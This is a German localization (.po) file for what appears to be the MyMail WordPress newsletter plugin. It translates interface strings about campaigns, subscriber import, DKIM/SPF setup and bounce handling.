msgid "Sent limit of %1$s reached! You have to wait %2$s before you can send more mails!"
msgstr "Sendelimit von %1$s erreicht! Du musst noch %2$s warten bis du wieder mehr E-Mails verschicken kannst!"

#: 
msgid "Unsubscribe Error"
msgstr "Abmelde Fehler"

#: 
msgid "Number of mails sent"
msgstr "Anzahl der zu sendenden Mails"

#: 
msgid "Send max %1$s emails at once and max %2$s within %3$s hours"
msgstr "Sende max %1$s E-Mails auf einmal und max %2$s innerhalb %3$s Stunden"

#: 
msgid "You can still send %1$s mails within the next %2$s"
msgstr "Du kannst noch %1$s E-Mails innerhalb der nächsten %2$s senden"

#: 
msgid "Unable to save template!"
msgstr "Konnte Template nicht speichern!"

#: 
msgid "overwrite if exists"
msgstr "überschreiben"

#: 
msgid "manage capabilities"
msgstr "Berechtigungen bearbeiten"

#: 
msgid "check this option to include the style.css of your theme into the form"
msgstr "aktiviere diese Option um die style.css deines Themes mit dem Formular zu verwenden"

#: 
msgid "include themes style.css"
msgstr "verwende Themes style.css"

#: 
msgid "City DB successfully loaded!"
msgstr "City DB erfolgreich geladen!"

#: 
msgid "Couldn't load City DB"
msgstr "Konnte City DB nicht laden"

#: 
msgid "Not able to save file!"
msgstr "Konnte Datei nicht schreiben!"

#: 
msgid "File has been saved!"
msgstr "Datei wurde gespeichert"

#: 
msgid "back to world view"
msgstr "zurück zur Weltkarte"

#: 
msgid "Post List Count"
msgstr "Anzahl Listeneinträge"

#: 
msgid "Number of posts or images displayed at once in the editbar."
msgstr "Anzahl der Posts oder Bilder die auf einmal beim Editieren gezeigt werden"

#: 
msgid "Track Cities in Campaigns"
msgstr "Merkt sich die Städte in Kampagnen"

#: 
msgid "forward to a friend"
msgstr "an einen Freund weiterleiten"

#: 
msgid "Track Geolocation"
msgstr "Geodaten aufzeichnen"

#: 
msgid "The city DB is about 12 MB. It can take a while to load it"
msgstr "Die Städtedatenbank hat ca. 12 MB. Es kann etwas dauern bis sie geladen wurde"

#: 
msgid "Your city"
msgstr "Deine Stadt"

#: 
msgid "place labels inside input fields"
msgstr "Die Feldbezeichnungen innerhalb von Eingabefeldern anzeigen"

#: 
msgid "assign new lists automatically to this form"
msgstr "neue Listen automatisch dieser Form zuweisen"

#: 
msgid "Forward Link"
msgstr "Link weiterleiten"

#: 
msgid "You are about to create new DKIM keys. The old ones will get deleted. Continue?"
msgstr "Möchtest du wirklich neue SKIM Schlüssel erstellen? Die alten werden dabei gelöscht."

#: 
msgid "New DKIM keys have been created!"
msgstr "Neue DKIM Schlüssel wurden erstellt!"

#: 
msgid "Not able to create new DKIM keys!"
msgstr "Konnte keine neuen DKIM Schlüssel erstellen!"

#: 
msgid "no subscribers removed"
msgstr "keine Abonnenten entfernt"

#: 
msgid "You are about to delete these subscribers permanently. This step is irreversible!"
msgstr "Du bist dabei diese Abonnenten dauerhaft zu löschen. Dies kann nicht rückgängig gemacht werden!"

#: 
msgid "Type \"%s\" to confirm deletion"
msgstr "schreibe \"%s\" um zu bestätigen"

#: 
msgid "Authentication"
msgstr "Authentifizierung"

#: 
msgid "Pagination"
msgstr "Blättern"

#: 
msgid "Allow users to view the next/last newsletters"
msgstr "erlaube Besucher zum nächsten/vorherigen Newsletter zu wechseln"

#: 
msgid "Save Subscriber IP"
msgstr "IP des Abonnenten speichern"

#: 
msgid "Save IP address and time of new subscribers"
msgstr "Speicher IP Adresse und Zeitpunkt von neuen Abonnenten"

#: 
msgid "In some countries it's required to save the IP address and the sign up time for legal reasons. Please add a note in your privacy policy if you save users data"
msgstr "In manchen Ländern ist es aus rechtlichen Gründen erforderlich die IP Adresse und den Zeitpunkt der Anmeldung zu speichern. Bitte weise auf die Speicherung in deinen Datenschutzbestimmungen hin"

#: 
msgid "Send test email with current settings"
msgstr "Sende eine Testnachricht mit den aktuellen Einstellungen"

#: 
msgid "Delivery Method"
msgstr "Sendemethode"

#: 
msgid "use this option if you don't have access to a SMTP server or any other provided options"
msgstr "verwende diese Einstellung falls du keinen Zugang zu einem SMTP Server oder eine der anderen Einstellungen verwenden kannst"

#: 
msgid "seconds"
msgstr "Sekunden"

#: 
msgid "Gmail has a limit of 500 mails within 24 hours! Also sending a mail can take up to one second which is quite long. This options is only recommended for few subscribers. DKIM works only if set the from address to your Gmail address."
msgstr "Gmail limitiert das senden auf 500 E-Mails in 24 Stunden. Auch das Senden von Mails kann bis zu einer Sekunde dauern. Diese Option ist daher nur für wenig Abonnenten empfohlen. DKIM funktioniert nur wenn Absendername und Adresse die gleichen wie beim angegebenen Gmail-Konto sind."

#: 
msgid "enable automatic bounce handling"
msgstr "abgelehnte E-Mails automatische behandeln"

#: 
msgid "If you would like to enable bouncing you have to setup a separate POP3 mail account"
msgstr "Wenn abgelehnte E-Mails durch das Plugin bearbeitet werden sollen, benötigst du einen separates POP3 Konto"

#: 
msgid "Use SSL. Default port is 995"
msgstr "verwende SSL. Standardport is 955"

#: 
msgid "Delete messages"
msgstr "Nachrichten löschen"

#: 
msgid "You need to change the namespace records of your domain if you would like to use one of these methods. Ask your provider how to add \"TXT namespace records\". Changes take some time to get published on all DNS worldwide."
msgstr "Du musst die Namespace-Einträge für deine Domain ändern falls du diese Methoden verwenden möchtest. Frage deinen Provider wie du \"TXT namespace records\" anlegen kannst. Änderungen werden meist erst nach einiger Zeit auf allen DNS weltweit übernommen."

#: 
msgid "Use Sender Policy Framework"
msgstr "Verwende Sender Policy Framework"

#: 
msgid "Domain %s"
msgstr "Domain %s"

#: 
msgid "TXT record found"
msgstr "TXT Eintrag gefunden"

#: 
msgid "no TXT record found"
msgstr "kein TXT Eintrag gefunden"

#: 
msgid "No or wrong record found for %s. Please adjust the namespace records and add these lines:"
msgstr "Kein oder falscher Eintrag gefunden für %s. Bitte passe die Namespace Einträge and und und füge diese Zeilen hinzu:"

#: 
msgid "this wizard"
msgstr "diesen Wizard"

#: 
msgid "The domain you would like to add a SPF record"
msgstr "Die Domain, der du einen SPF Eintrag hinzufügen willst"

#: 
msgid "verified"
msgstr "verifiziert"

#: 
msgid "not verified"
msgstr "nicht verifiziert"

#: 
msgid "The domain you have set the TXT namespace records"
msgstr "Die Domain, bei der du die TXT Einträge angelegt hast"

#: 
msgid "You can leave this field blank unless you know what you do"
msgstr "Du kannst dieses Feld leer lassen außer du weist was du tust"

#: 
msgid "Keys"
msgstr "Schlüssel"

#: 
msgid "If you have defined the domain and a selector you have to generate a public and a private key. Once created you have to add some TXT namespace records at your mail provider"
msgstr "Wenn du eine Domain und den Selector bestimmt hast must du einen privaten und einen öffentlichen Schlüssel generieren. Danach musst du die entsprechenden Namespace Einträge bei deinem Mailprovider anpassen"

#: 
msgid "Changing namespace entries can take up to 48 hours to take affect around the world."
msgstr "Änderungen der Namespace Einträge kann bis zu 48 Stunden dauern um auf der ganzen Welt verfügbar zu sein"

#: 
msgid "It's recommend to change the keys occasionally"
msgstr "Es ist empfohlen die Schlüssel regelmäßig zu ändern"

#: 
msgid "If you change one of the settings above new keys are required"
msgstr "Falls du einer der oberen Einstellungen änderst müssen neue Schlüssel generiert werden"

#: 
msgid "Some providers don't allow TXT records with a specific size. Choose less bits in this case"
msgstr "Manche Provider erlauben keine TXT Einträge mit einer bestimmten Größe. Verwende eine kleine Bitgröße in diesem Fall"

#: 
msgid "Private keys should be kept private. Don't share them or post it somewhere"
msgstr "Private Schlüssel sollen auch private bleiben. Teile sie mit keinem"

#: 
msgid "new Keys"
msgstr "neue Schlüssel"

#: 
msgid "Bit Size"
msgstr "Bitgröße"

#: 
msgid "generate Keys"
msgstr "Schlüssel generieren"

#: 
msgid "Delete Subscribers"
msgstr "Abonnenten Löschen"

#: 
msgid "and have one of these statuses"
msgstr "und haben einen der folgenden Stati"

#: 
msgid "Delete Subscribers permanently"
msgstr "Lösche Abonnenten"

#: 
msgid "with IP %s"
msgstr "mit IP %s"

#: 
msgid "Couldn't send message. Check your settings!"
msgstr "Konnte Nachricht nicht senden. Überprüfe deine Einstellungen!"

#: 
msgid "Time between mails"
msgstr "Zeit zwischen E-Mails"

#: 
msgid "milliseconds"
msgstr "Millisekunden"

#: 
msgid "define a delay between mails in milliseconds if you have problems with sending two many mails at once"
msgstr "bestimme eine Verzögerung in Millisekunden falls du Probleme beim Versenden von zu vielen E-Mails auf einmal hast"

#: 
msgid "Send limit has been adjusted to %d for Gmail"
msgstr "Sendelimit wurde für Gmail auf %d angepasst"

#: 
msgid "The selector is used to identify the keys used to attach a token to the email"
msgstr "Der Selector wird zum identifizieren der Schlüssel, die den Mails angehängt werden, verwendet "

#: 
msgid "Simple"
msgstr "Einfach"

#: 
msgid "Campaign %1$s has been paused cause of a sending error: %2$s"
msgstr "Kampagne %1$s wurde wegen eines Sendefehlers pausiert: %2$s"

#: 
msgid "Y/m/d"
msgstr "d.m.Y"

#: 
msgid "This campaign has been started on %1$s, %2$s ago"
msgstr "Die Kampagne wurde am %1$s gestartet, vor %2$s"

#: 
msgid "Media Manager"
msgstr "Media Manager"

#: 
msgid "wrong post type"
msgstr "ungültiger Posttype"

#: 
msgid "User has not subscribed"
msgstr "Benutzer ist nicht angemeldet"

#: 
msgid "Message sent. Check your inbox!"
msgstr "Nachricht gesendet. Überprüfe den Posteingang!"

#: 
msgid "Manage Subscribers"
msgstr "Abonnenten verwalten"

#: 
msgid "Please select at least the column with the email addresses!"
msgstr "Bitte zumindest die Spalte mit den E-Mail-Adressen auswählen!"

#: 
msgid "preparing data"
msgstr "Vorbereitung der Daten"

#: 
msgid "uploading...%s"
msgstr "upload..%s"

#: 
msgid "Importing Contacts...%s"
msgstr "Importiere Kontakte...%s"

#: 
msgid "Estimate time left: %s minutes"
msgstr "Zeit verbleibend: ungefähr %s Minuten"

#: 
msgid "continues in %s seconds"
msgstr "wird in %s Sekunden fortgesetzt"

#: 
msgid "Preparing Download...%s"
msgstr "Vorbereiten des Downloads...%s"

#: 
msgid "writing file: %s"
msgstr "schreibe Datei: %s"

#: 
msgid "Download finished"
msgstr "Download beendet"

#: 
msgid "Downloading..."
msgstr "Download..."

#: 
msgid "Please select at least one list!"
msgstr "Bitte mindestens eine Liste auswählen!"

#: 
msgid "You are currently importing subscribers! If you leave the page all pending subscribers don't get imported!"
msgstr "Du importierst zur Zeit neue Abonnenten! Wenn du die Seite verlässt werden alle anstehenden Abonnenten nicht importieret!"

#: 
msgid "Your download is preparing! If you leave this page the progress will abort!"
msgstr "Dein Download wird vorbereitet! Wenn du die Seite verlässt, wird der Prozess abgebrochen!"

#: 
msgid "IP Address"
msgstr "IP Adresse"

#: 
msgid "Signup Date"
msgstr "Anmeldedatum"

#: 
msgid "Ignore column"
msgstr "Spalte auslassen"

#: 
msgid "add contacts to following lists"
msgstr "Kontakte zu folgenden Listen hinzufügen"

#: 
msgid "invalid email address"
msgstr "ungültige E-Mailadresse"

#: 
msgid "The following addresses were not imported"
msgstr "Folgende Adressen wurden nicht importiert"

#: 
msgid "Reason"
msgstr "Grund"

#: 
msgid "no subscribers found"
msgstr "keine Abonnenten gefunden"

#: 
msgid "Signup IP"
msgstr "Anmelde IP"

#: 
msgid "Confirm Date"
msgstr "Bestätigungsdatum"

#: 
msgid "Confirm IP"
msgstr "Bestätigungs IP"

#: 
msgid "The web browser on your device cannot be used to upload files. You may be able to use the <a href=\"http://wordpress.org/extend/mobile/\">native app for your device</a> instead."
msgstr "Der Browser auf deinem Endgerät kann leider keine Dateien hochladen. Nutze für den Bilderupload die <a href=\"http://wpde.org/mobil\">WordPress App für dein mobiles Endgerät</a>."

#: 
msgid "Comma-separated values (CSV)"
msgstr "CSV"

#: 
msgid "Drop your list here"
msgstr "Hier deine Liste ablegen"

#: 
msgctxt "Uploader: Drop files here - or - Select Files"
msgid "or"
msgstr "oder"

#: 
msgid "Select File"
msgstr "Datei auswählen"

#: 
msgid "Split your lists into max 50.000 subscribers each"
msgstr "Teile deine Liste in max 50.000 Abonnenten pro Liste auf"

#: 
msgid "Your browser has some limitations uploading large files with the multi-file uploader. Please use the browser uploader for files over 100MB."
msgstr "Dein Browser kann auf Grund von Limitierungen keine grossen Dateien hochladen. Nutze bitte den alternativen \"Browser-Upload\" um Dateien mit einer Grösse von über 100 MB hochzuladen."

#: 
msgid "Text before the form"
msgstr "Text vor dem Formular"

#: 
msgid "Text after the form"
msgstr "Text nach dem Formular"

#: 
msgid "manage subscribers"
msgstr "Abonnenten verwalten"

#: 
msgid "Do you really want to unsubscribe?"
msgstr "Wollen Sie sich wirklich abmelden?"

#: 
msgid "Import"
msgstr "Import"

#: 
msgid "Export"
msgstr "Export"

#: 
msgid "Delete"
msgstr "Löschen"

#: 
msgid "upload you subscribers as comma-separated list (CSV)"
msgstr "lade deine Abonnenten als CSV Datei hoch"

#: 
msgid "Paste"
msgstr "Einfügen"

#: 
msgid "paste your list here"
msgstr "füge hier deine Liste ein"

#: 
msgid "which are in one of these lists"
msgstr "welche in einer dieser Listen ist"

#: 
msgid "subscribers not assigned to a list"
msgstr "Abonnenten, die nicht in einer Liste sind"

#: 
msgid "error"
msgstr "Fehler"

#: 
msgid "include header"
msgstr "Kopfzeile einfügen"

#: 
msgid "Date Format"
msgstr "Datumsformat"

#: 
msgid "MySQL Server Performance"
msgstr "MySQL Server Performance"

#: 
msgid "low"
msgstr "niedrig"

#: 
msgid "normal"
msgstr "normal"

#: 
msgid "high"
msgstr "gut"

#: 
msgid "super high"
msgstr "super gut"

#: 
msgid "super extreme high"
msgstr "super extrem gut"

#: 
msgid "Define order and included columns"
msgstr "Bestimme die Reihenfolge und die zu verwendeten Spalten"

#: 
msgid "Listnames"
msgstr "Listennamen"

#: 
msgid "Download Subscribers"
msgstr "Abonnenten herunterladen"

#: 
msgid "no subscriber found"
msgstr "keine Abonnenten gefunden"

#: 
msgid "remove selected lists"
msgstr "lösche ausgewählte Listen"

#: 
msgid "You do not have sufficient permissions to access this page."
msgstr "Du hast nicht die erforderlichen Rechte, um auf diese Seite zuzugreifen."

#: 
msgid "fill fields with known data if user is logged in"
msgstr "Felder mit bekannten Daten ausfüllen, falls Benutzer angemeldet ist"

#: 
msgid "Do you really like to import these contacts?"
msgstr "Willst du wirklich diese Kontakte importieren?"

#: 
msgid "frontend settings page"
msgstr "Frontend Einstellung"

#: 
msgid "Resend Confirmation"
msgstr "Bestätigung erneut senden"

#: 
msgid "resend confirmation %1$s times with a delay of %2$s hours if user hasn't confirmed the subscription"
msgstr "sende die Bestätigung %1$s mal mit einer Verzögerung von %2$s Stunden falls der Benutzer die Anmeldung noch nicht bestätigt hat"

#: 
msgid "%s ago"
msgstr "vor %s"

#: 
msgid "Link image to the this URL"
msgstr "Bild mit dieser URL verlinken"

#: 
msgid "required"
msgstr "erforderlich"

#: 
msgid "You have to enable Custom fields for each form:"
msgstr "Du must Benutzerfelder für jedes Formular aktivieren:"

#: 
msgctxt "Translators: put your personal info here to display it on the settings page. Leave blank for no info"
msgid "translator string"
msgstr "Xaver Birsak <a href='https://revaxarts.com'>revaxarts.com</a>"

#: 
msgid "This plugin has been translated by %s"
msgstr "Dieses Plug-in wurde übersetzt von %s"

#: 
msgid "Do you really like to delete all custom color schemas for this template?"
msgstr "Möchtest du wirklich alle benutzerdefinierten Farbschemas für dieses Template löschen?"

#: 
msgid "Checkbox"
msgstr "Checkbox"

#: 
msgid "checked by default"
msgstr "standardmäßig ausgewählt"

#: 
msgid "Colors Schemas"
msgstr "Farbschemas"

#: 
msgid "delete all custom schemas"
msgstr "alle Farbschemas löschen"

#: 
msgid "users decide which list they subscribe to"
msgstr "Benutzer entscheiden welche Listen sie abonnieren möchten"

#: 
msgid "show drop down instead of check boxes"
msgstr "Zeige ein Dropdown Menü anstelle von Checkboxen"

#: 
msgid "subscribe new users to"
msgstr "Benutzer können folgende Listen abonnieren"

#: 
msgid "users can subscribe to"
msgstr "Neue Abonnenten abonnieren folgende Listen"

#: 
msgid "redirect after submit"
msgstr "Weiterleiten nach dem Abschicken"

#: 
msgid "width"
msgstr "Breite"

#: 
msgid "height"
msgstr "Höhe"

#: 
msgid "add %s"
msgstr "%s hinzufügen"

#: 
msgid "remove %s"
msgstr "%s entfernen"

#: 
msgid "Alt Text"
msgstr "Alt Text"

#: 
msgid "image description"
msgstr "Bildbeschreibung"

#: 
msgid "Currently %s of %s imported with %s errors. %s memory usage"
msgstr "%s von %s bereits importiert. %s Fehler. %s Speicher in Verwendung"

#: 
msgid "There was a problem during importing contacts. Please check the error logs for more information!"
msgstr "Ein Fehler ist beim Importieren aufgetreten. Bitte überprüfe das Fehlerprotokoll für mehr Informationen!"

#: 
msgid "has opened"
msgstr "hat geöffnet"

#: 
msgid "has not opened yet"
msgstr "hat bis jetzt noch nicht geöffnet"

#: 
msgid "load more recipients from this campaign"
msgstr "lade mehr Empfänger dieser Kampagne"

#: 
msgid "last %s"
msgstr "letzter %s"

#: 
msgid "second last %s"
msgstr "vorletzter %s"

#: 
msgid "third last %s"
msgstr "drittletzter %s"

#: 
msgid "fourth last %s"
msgstr "viertletzter %s"

#: 
msgid "fifth last %s"
msgstr "fünftletzter %s"

#: 
msgid "sixth last %s"
msgstr "sechstletzter %s"

#: 
msgid "seventh last %s"
msgstr "siebtletzter %s"

#: 
msgid "eighth last %s"
msgstr "achtletzter %s"

#: 
msgid "ninth last %s"
msgstr "neuntletzter %s"

#: 
msgid "tenth last %s"
msgstr "zehntletzter %s"

#: 
msgid "eleventh last %s"
msgstr "elftletzter %s"

#: 
msgid "twelfth last %s"
msgstr "zwölftletzter %s"

#: 
msgid "create a new one"
msgstr "einen neunen erstellen"

#: 
msgid "any %s"
msgstr "irgendein(e) %s"

#: 
msgid "WordPress is not able to access to your filesystem!"
msgstr "WordPress kann nicht auf das Dateisystem zugreifen!"

#: 
msgid "Please add following lines to the wp-config.php %s"
msgstr "Bitte folgende Zeiken zu deiner wp-config.php hinzufügen %s"

#: 
msgid "completing job"
msgstr "Job abschließen"

#: 
msgid "Duplicate module"
msgstr "Module duplizieren"

#: 
msgid "%s does not contain a valid image"
msgstr "%s entält kein gültiges Bild"

#: 
msgid "something has been published"
msgstr "etwas veröffentlicht wurde"

#: 
msgid "Output Format"
msgstr "Ausgabeformat"

#: 
msgid "CSV"
msgstr "CSV"

#: 
msgid "HTML"
msgstr "HTML"

#: 
msgid "Encoding"
msgstr "Kodierung"

#: 
msgid "Auto Responder"
msgstr "Autoresponder"

#: 
msgid "send this auto responder"
msgstr "sende diesen Autoresponder"

#: 
msgid "Next issue: %s"
msgstr "Nächste Ausgabe: %s"

#: 
msgid "Use the %s tag to display the current issue in the campaign"
msgstr "Verwende den %s Platzhalter um die aktuelle Ausgabe in der Kampagne anzuzeigen"

#: 
msgid "%1$s matching %2$s has been published"
msgid_plural "%1$s matching %2$s have been published"
msgstr[0] ""
msgstr[1] ""

#: 
msgid "reset counter"
msgstr "Zähler zurücksetzen"

#: 
msgid "Total Recipients"
msgstr "Empfänger gesamt"

#: 
msgid "Total Errors"
msgstr "Fehler gesamt"

#: 
msgid "Total Clicks"
msgstr "Klicks gesamt"

#: 
msgid "Insert from URL"
msgstr "von URL einfügen"

#: 
msgid "Image URL"
msgstr "Bild URL"

#: 
msgid "static"
msgstr "statisch"

#: 
msgid "dynamic"
msgstr "dynamisch"

#: 
msgid "use the excerpt if exists otherwise use the content"
msgstr "verwende den Auszug falls einer vorhanden ist, sonst den Inhalt"

#: 
msgid "excerpt"
msgstr "Auszug"

#: 
msgid "use the content"
msgstr "verwende den gesamten Inhalt"

#: 
msgid "full content"
msgstr "gesamter Inhalt"

#: 
msgid "the excerpt"
msgstr "den Auszug"

#: 
msgid "the full content"
msgstr "den gesamten Inhalt"

#: 
msgid "the latest"
msgstr "letzten"

#: 
msgid "the second latest"
msgstr "zweitletzten"

#: 
msgid "the third latest"
msgstr "drittletzten"

#: 
msgid "the fourth latest"
msgstr "viertletzten"

#: 
msgid "the fifth latest"
msgstr "fünftletzten"

#: 
msgid "the sixth latest"
msgstr "sechstletzten"

#: 
msgid "the seventh latest"
msgstr "siebtletzten"

#: 
msgid "the eighth latest"
msgstr "achtletzten"

#: 
msgid "the ninth latest"
msgstr "neuntletzten"

#: 
msgid "the tenth latest"
msgstr "zehntletzten"

#: 
msgid "the eleventh latest"
msgstr "elftletzten"

#: 
msgid "the twelfth latest"
msgstr "zwölftletzten"

#: 
msgctxt "Insert [excerpt] of [latest] [post]"
msgid "Insert %1$s of %2$s %3$s"
msgstr "Füge %1$s vom %2$s %3$s ein"

#: 
msgid "dynamic content get replaced with the proper content as soon as the campaign get send. Check the quick preview to see the current status of dynamic elements"
msgstr "dynamischer Inhalt wird mit dem eigentlichen Inhalt ersetzt sobald die Kampagne gesendet wird. Verwende die Vorschau um den aktuellen Status dynamischer Elemente zu sehen"

#: 
msgid "Special tags display dynamic content and are equally for all subscribers"
msgstr "Spezialtags zeigen dynamische Inhalte und sind gleich für alle Abonnenten"

#: 
msgid "Dynamic Tags"
msgstr "Dynamische Tags"

#: 
msgid "Dynamic tags let you display your posts or pages in a reverse chronicle order. Some examples:"
msgstr "Dynamische Tags helfen dir deine Artikel und Seiten in umgekehrt-chronologischer Reihenfolge einzubetten. Hier ein paar Beispiele:"

#: 
msgid "displays the latest post title"
msgstr "zeigt den letzten Artikel"

#: 
msgid "displays the fourth latest page title"
msgstr "zeigt den viertletzten Artikel"

#: 
msgid "displays the feature image of the latest posts"
msgstr "zeigt das Artikelbild des letzten Artikels"

#: 
msgid "displays the feature image of the fourth latest posts. Uses the image with ID 23 if the post doesn't have a feature image"
msgstr "zeigt das Artikelbild des viertletzten Artikels. Verwendet das Bild mit der ID 23 falls der Artikel kein Bild hat"

#: 
msgid "displays the latest posts content"
msgstr "zeigt den Inhalt des letzten Artikels"

#: 
msgid "displays the latest posts excerpt or content if no excerpt is defined"
msgstr "zeigt den Auszug des letzten Artikels oder den ganzen Inhalt falls kein Auszug vorhanden ist"

#: 
msgid "displays the latest posts date"
msgstr "zeigt das Datum des letzten Artikels"

#: 
msgid "you can also use absolute values"
msgstr "Du kannst auch absolute Werte verwenden"

#: 
msgid "displays the post title of post ID 23"
msgstr "zeigt den Titel des Artikels mit der ID 23"

#: 
msgid "displays the permalink of post ID 15"
msgstr "zeigt den Link vom Artikel mit ID 15"

#: 
msgid "Instead of \"post_\" and \"page_\" you can use custom post types too"
msgstr "Du kannst neben  \"post_\" und  \"page_\" auch custom post types verwenden"

#: 
msgid "Image Fallback"
msgstr "Alternative für Bilder"

#: 
msgid "Fallback image for dynamic image tags"
msgstr "Verwende dieses Bild falls bei dynamischen Bildertags das Bild nicht vorhanden ist"

#: 
msgid "Template %s is now your default template"
msgstr "%s ist jetzt dein Standardtemplate"

#: 
msgid "Template %s is missing or broken. Reset to default"
msgstr "Template %s fehlt oder wurde beschädigt. Verwende die Standardvorlage"

#: 
msgid "Use as default"
msgstr "Als Standard"

#: 
msgid "an error occurred while sending to this receiver"
msgstr "ein Fehler ist aufgetreten beim Versenden zu diesem Empfänger"

#: 
msgid "New campaign %1$s has been created and is going to be sent in %2$s."
msgstr "Neue Kampagne %1$s wurde erstellt und wird in %2$s gesendet."

#: 
msgid "Resume Campaign"
msgstr "Kampagne fortsetzen"

#: 
msgid "Resume"
msgstr "Fortsetzen"

#: 
msgid "It seems your last cronjob hasn't been finished! Increase the %1$s, add %2$s to your wp-config.php or reduce the %3$s in the settings"
msgstr "Der letzte Cronjob wurde anscheinend nicht korrekt beendet! Erhöhe %1$s, füge %2$s zu deinere wp-config.php hinzu oder reduziere die %3$s in den Einstellungen"

#: 
msgid "MyMail is not able access the filesystem! If you have issues saving templates or other files please add this line to you wp-config.php: %s"
msgstr "MyMail kann nicht auf das Dateisystem zugreifen! Falls du Probleme mit dem Speichern von Templates oder anderen Dateien hast füge diese Zeile in deine wp-config.php hinzu: %s"

#: 
msgid "only if in %s"
msgstr "nur wenn in %s"

#: 
msgid "Your email may look different on mobile devices"
msgstr "Deine E-Mail kann auf Mobiltelefonen anders aussehen"

#: 
msgid "from %s"
msgstr "von %s"

#: 
msgid "Pause campaign"
msgstr "Kampagne pausieren"

#: 
msgid "Split campaigns"
msgstr "Kampagnen teilen"

#: 
msgid "send campaigns simultaneously instead of one after the other"
msgstr "Kampagnen gleichzeitig anstelle von hintereinander senden"

#: 
msgid "paste in your vCard content. You can use %s to generate your personal vcard"
msgstr "füge hier den Inhalt deiner vCard hinzu. Du kannst %s verwenden um deine persönliche vCard zu erstellen"

#: 
msgid "WordPress Users"
msgstr "WordPress Benutzer"

#: 
msgid "Registered Users"
msgstr "Registrierte Benutzer"

#: 
msgid "new WordPress users can choose to sign up on the register page"
msgstr "neue WordPress User können sich auf der Registrierungsseite anmelden"

#: 
msgid "allow %s to your blog to enable this option"
msgstr "erlaube %s um diese Funktion zu aktivieren"

#: 
msgid "users to subscribe"
msgstr "Besucher sich anzumelden"

#: 
msgid "Subscribe them to these lists:"
msgstr "Melde diese in folgende Listen an:"

#: 
msgid "New Comments"
msgstr "Neue Kommentare"

#: 
msgid "allow users to signup on the comment form if they are currently not subscribed to any list"
msgstr "erlaube Benutzer sich beim Kommentarformular anzumelden, falls Sie zur Zeit in noch in keiner Liste sind"

#: 
msgid "sign up only if comment is"
msgstr "nur wenn Kommmentar ist"

#: 
msgid "approved"
msgstr "genehmigt"

#: 
msgid "not approved"
msgstr "nicht genehmigt"

#: 
msgid "spam"
msgstr "Spam"

#: 
msgid "Others"
msgstr "Andere"

#: 
msgid "add people who are added via the backend or any third party plugin"
msgstr "füge Benutzer hinzu, die über das Backend oder über ein anderes Plugin hinzugefügt worden sind"

#: 
msgid "Newsletter Sign up"
msgstr "Newsletteranmeldung"

#: 
msgid "Sign up to our newsletter"
msgstr "Unseren Newsletter abonnieren"

#: 
msgid "attach vCard to all confirmation mails"
msgstr "eine vCard an alle Bestätigungsmails anhängen"

#: 
msgid "display name"
msgstr "Öffentlicher Name"

#: 
msgid "registered"
msgstr "registriert"

#: 
msgid "Select columns"
msgstr "Spalten auswählen"

#: 
msgid "Existing subscribers"
msgstr "vorhandene Abonnenten"

#: 
msgid "skip"
msgstr "überspringen"

#: 
msgid "overwrite"
msgstr "überschreiben"

#: 
msgid "merge"
msgstr "zusammenführen"

#: 
msgid "File uploaded to %s"
msgstr "Datei wurde nach %s hochgeladen"

#: 
msgid "unable to upload file"
msgstr "konnte Datei nicht hochladen"

#: 
msgid "No country database found! Please load it!"
msgstr "Keine Länderdatenbank gefunden! Bitte lade sie jetzt!"

#: 
msgid "No city database found! Please load it!"
msgstr "Keine Städtedatenbank gefunden! Bitte lade sie jetzt!"

#: 
msgid "Update Country Database"
msgstr "Länderdatenbank aktualisieren"

#: 
msgid "Update City Database"
msgstr "Städtedatenbank aktualisieren"

#: 
msgid "Unable to connect to bounce server! Please check your settings."
msgstr "Die Verbindung zum Server konnte nicht hergestellt werden! Bitte überprüfe dein Einstellungen!"

#: 
msgid "checking for new messages"
msgstr "Nachricht abfragen"

#: 
msgid "Unable to get test message! Please check your settings."
msgstr "Konnte die Testnachricht nicht empfangen! Bitte überprüfe deine Einstellungen."

#: 
msgid "Your bounce server is good!"
msgstr "Die Servereinstellungen sind korrekt!"

#: 
msgid "Import WordPress users with following roles"
msgstr "Importiere WordPress users mit folgenden Rollen"

#: 
msgid "Next Step"
msgstr "Nächster Schritt"

#: 
msgid "%s click"
msgid_plural "%s clicks"
msgstr[0] ""
msgstr[1] ""

#: 
msgid "Load Country Database"
msgstr "Lade Länderdatenbank"

#: 
msgid "upload file"
msgstr "Datei hochladen"

#: 
msgid "upload the GeoIPv6.dat you can find in the package here:"
msgstr "lade die Datei GeoIPv6.dat hoch. Du findest sie hier:"

#: 
msgid "Load City Database"
msgstr "Lade Städtedatenbank"

#: 
msgid "upload the GeoLiteCity.dat you can find in the package here:"
msgstr "lade die Datei GeoLiteCity.dat hoch. Du findest sie hier:"

#: 
msgid "Some text can get defined on the %s as well"
msgstr "Manche Texte können auch auf der %s bestimmt werden"

#: 
msgid "Test bounce settings"
msgstr "Bounce Einstellungen testen"

#: 
msgid "sending message..."
msgstr "sende Nachricht..."

#: 
msgid "used template file"
msgstr "verwendete Datei"

#: 
msgid "use"
msgstr "verwende"

#: 
msgid "resend confirmation"
msgstr "Bestätigungsmail erneut senden"

#: 
msgid "Access token"
msgstr "Access token"

#: 
msgid "Access token Secret"
msgstr "Access token Secret"

#: 
msgid "Consumer key"
msgstr "Consumer key"

#: 
msgid "Consumer secret"
msgstr "Consumer secret"

#: 
msgid "To enable the tweet feature you have to create a new %s and insert your credentials"
msgstr "Um die Tweetfunktion zu aktivieren benötigst du eine neue %s und musst die Daten hier eingeben:"

#: 
msgid "See stats of Campaign %s"
msgstr "Zeige Statistiken der Kampagne %s"

#: 
msgid "You have to %s to change the delivery settings"
msgstr "Du musst %s um die Versandoptionen zu ändern"

#: 
msgid "switch to the edit mode"
msgstr "zum Bearbeitungsmodus wechseln"

#: 
msgid "This campaign is based on an %s"
msgstr "Diese Kampagne basiert auf eine %s"

#: 
msgid "auto responder campaign"
msgstr "Autoresponder Kampagne"

#: 
msgid "Total Sent"
msgstr "Gesamt gesendet"

#: 
msgid "Statistic"
msgstr "Statistik"

#: 
msgid "replace with image"
msgstr "mit Bild austauschen"

#: 
msgid "Number of Newsletters"
msgstr "Anzahl der Newsletter"

#: 
msgid "Maximum upload file size: %s."
msgstr "Maximale Dateigröße eines Uploads: %s"

#: 
msgid "This campaign has been sent on %s. You cannot edit it anymore"
msgstr "Diese Kampagne wurde bereits versendet (%s). Du kannst sie nicht mehr bearbeiten"

#: 
msgid "CharSet"
msgstr "CharSet"

#: 
msgid "change Charset and encoding of your mails if you have problems with some characters"
msgstr "ändere das Charset und die Kodierung falls du Probleme bei manchen Zeichen hast"

#: 
